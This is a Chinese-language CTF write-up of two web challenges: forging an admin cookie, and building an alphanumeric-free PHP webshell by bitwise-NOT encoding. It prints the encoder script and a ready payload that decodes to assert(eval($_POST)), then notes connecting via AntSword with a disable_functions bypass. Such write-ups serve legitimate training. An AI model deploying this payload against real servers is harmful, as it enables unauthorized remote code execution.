继续更新
kookie
题目提示了cookie,那么就抓包看看喽
以admin进行登录,发现是以明文发送的username和password
尝试添加cookie条目,username=admin,登陆成功,拿到flag。。。。。最简单的cookie注入
rce me
这题简单粗暴的源码审计,就是不用数字字母写一个shell,长度不超过40
那么百度了以后,发现有两个绕过思路,取反或者异或,其实就是利用计算机编码的知识,在前面的if判断阶段,并不会进行字符编码运算
以取反为例,也就是说if循环看到的是取反符号后面的一堆特殊字符
但是执行到eval函数的时候,他会先把这些特殊字符进行取反,然后再执行代码
那么反反得正,把shell取一次反,得到结果作为payload传入就可以绕过了
小demo:
<?php
echo urlencode(~'phpinfo');
?>
得到结果:
%8F%97%8F%96%91%99%90
转码回去
echo ~urldecode('%8F%97%8F%96%91%99%90');
传入payload:?code=(~%8F%97%8F%96%91%99%90)();
成功回显phpinfo();那么下面一步就是写payload,两个要注意的问题,1:payload长度不能超40,2.绕过disable_functions
关于无数字字母的shell,推荐下面这篇文章:
https://www.freebuf.com/articles/network/279563.html
写的还是比较好的,基本上思路就理通了
通过查阅disable_functions可知,assert没有禁用
那么开始尝试构造payload:
assert(eval($_POST[“hello”]));
然后这里我看别人文章里写的不是不能直接将这一段都直接编码,原因我也不知道,有懂得师傅可以教教我,反正要将assert和后面的东西分开编码
生成shell:
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
得到最终的payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
写完之后蚁剑链接,后面其实还有一个绕过disable_functions的操作,可以自己去下脚本,改一下手动绕过
不过懒得弄了,直接用蚁剑的php_gc_uaf模式手动绕过,进入shell后执行/目录下的readflag得到flag
参考视频链接:https://www.bilibili.com/video/BV13L411N7H1/